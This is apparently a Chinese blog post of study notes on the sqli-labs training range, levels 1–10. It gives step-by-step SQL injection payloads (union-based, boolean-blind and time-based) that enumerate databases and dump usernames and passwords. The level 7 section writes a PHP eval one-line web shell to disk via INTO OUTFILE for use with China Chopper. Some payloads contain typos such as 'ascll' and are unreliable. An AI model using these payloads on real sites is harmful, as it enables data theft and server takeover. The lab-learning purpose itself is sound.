sqli-labs靶场less-1~less-10知识点及步骤

less-1/2/3/4

  • 查库:select schema_name from information_schema.schemata
  • 查表:select table_name from information_schema.tables where table_schema=‘security’
  • 查列:select column_name from information_schema.columns where table_name=‘users’
  • 查字段:select username,password from security.users
  • limit m,n 表示从第m行开始,之后出现n行数据。
  • –+、-- (注意是减减空格)、# 是sql里面的注释符,他们后面的内容不再执行
  • order by 后加一个数字表示第几列进行排序。用此函数判断该数据库由几列组成
  • union select 1,2,3
    每列之间用逗号隔开,而这里1,2,3的意思是第一列的内容为1,第二列的内容为2,以此类推。判断所需内容为第几列
    在这里插入图片描述
  • select——进行查看
  • system_user()——系统用户
  • user()——登录用户
  • database()——所使用的数据库
  • version()——版本信息
  • @@datadir——安装路径
  • @@versio_compile_os——当前的操作系统
  • group_concat()——可以将所有的数据作为一行都显示出来
    在这里插入图片描述
  • concat_ws(’ ',A,B)单引号里可填任意东西
    eg:若引号里为+,会显示出A+B
    也可将单引号里的东西转化为十六进制,就可去掉单引号
  • 步骤:
//先在源代码中找到$sql,在$sql的下一行输入如下两行
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;//把sql语句进行输出
echo "<br>"; //进行换行

①less1 id=1’;less2 id=1;less3 id=1’);less4 id=1")
②查看有多少列:order by 3–+
③查看哪些数据可以回显:union select 1,2,3–+
④查看当前数据库:union select 1,2,database()–+
⑤查看数据库security:union select 1,2,group_concat(schema_name)from information_schema.schemata–+
⑥查表:union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘security’–+
⑦查询列信息:union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=‘security’–+
⑧查询账号和密码:union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+

less-5/6

  • left(a,b):从左侧截取a的前b位,正确返回1,错误返回0;eg-left(databade(),1)=‘a’,返回值为0
  • regexp:eg-select user() regexp ‘root’ 若user()的结果是root,则单引号里为正确顺序的root的前几位都可,若匹配返回1,否则为0
  • like:与regexp相同,只不过单引号里最后要加%
  • substr(a,b,c):从位置b开始,截取长度为c的字符串a,正确返回1,错误返回0;eg-substr((select database()),1,1)=‘s’,若数据库名称为security,从第一位开始,截取长度为1的security,正确返回1
  • ascll():将某个字符串转化为ascll值
  • chr(数字);ord(‘字母’):使用Python中的两个函数判断当前的ascll码值
  • 步骤:(布尔盲注)
    ①查看是否有注入:less-5:?id=1’;less-6:?id=1’’
    ②查看有多少列:order by 3–+
    ③通过二分法猜解得到所有的库:and ascll(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100–+
    ④通过二分法猜解得到security下的所有表:and ascll(substr((select table_name from information_schema.tables where table_schema=0xsecurity limit 1,1),1,1))>1–+
    ⑤通过二分法猜解users内的字段:and ascll(substr((select column_name from information_schema.columns where table_name=0xsecurity limit 1,1),1,1))>1–+
    ⑥通过二分法猜解得到字段内的值:and ascll(substr((select username from security.users limit 1,1),1,1))>1–+

less-7

  • 一句话木马:<?php @eval($_POST[" A "]);?> 其中A为密码
  • load_file():读取本地文件;eg-select load_file(’ ')
  • into outfile:写文件;
    用法1-select ‘A’ into outfile ‘B’,将A写入B文件在;文件位置在C:\phpstudy\PHPTutorial\MySQL\data
    用法2-select ‘A’ into outfile “直接写文件所在位置,注意要双斜杠以防被转义
  • 步骤:
    ①查看是否有注入:?id=1’))
    ②查看有多少列:order by 3–+
    ③将一句话木马写入union select 1,2,’<?php @eval($_POST["crow"]);?> ’ into outfile"文件所在位置 "–+
    ④使用中国菜刀访问

less-8

  • if(condition,A,B):如果条件成立返回A,否则返回B;
  • sleep(num):表示延迟几秒
  • 步骤:
    法一布尔盲注
    ①查看是否有注入:less-8:?id=1’
    ②查看有多少列:order by 3–+
    ③通过二分法猜解得到所有的库:and ascll(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100–+
    ④通过二分法猜解得到security下的所有表:and ascll(substr((select table_name from information_schema.tables where table_schema=0xsecurity limit 1,1),1,1))>1–+
    ⑤通过二分法猜解users内的字段:and ascll(substr((select column_name from information_schema.columns where table_name=0xsecurity limit 1,1),1,1))>1–+
    ⑥通过二分法猜解得到字段内的值:and ascll(substr((select username from security.users limit 1,1),1,1))>1–+
    法二时间盲注
    ①使用延迟的方法判断是否存在注入漏洞:?di=1’ and sleep(5)–+
    ②判断数据库长度:id=1’ and if(length(database())=8,1,sleep(5))–+当为8时加载很快,其它值时加载很慢,说明数据库长度为8
    ③id=1’ and if(ascll(substr((select database()),1,1))>113,1,sleep(5))–+如果当前数据库的第一个字母的ascll值大于113,立即返回结果,否则执行5秒,然后判断112……
    ④其余步骤与法一相同

less-9/10

  • 步骤:
    ①查看是否有注入:less-9:?id=1’;less-10:?id=1’’
    ②查看有多少列:order by 3–+;发现无论当值为多少时都回显you are in…,故不可使用order by
    ③使用延迟注入判断漏洞:and sleep(5)–+
    ④判断数据长度:and if(length(database())=猜测数据长度为n,1,sleep(5));通过返回时间进行判断,如果数据为n,则较快返回。
    ⑤之后步骤同less-8法二
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吃_早餐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值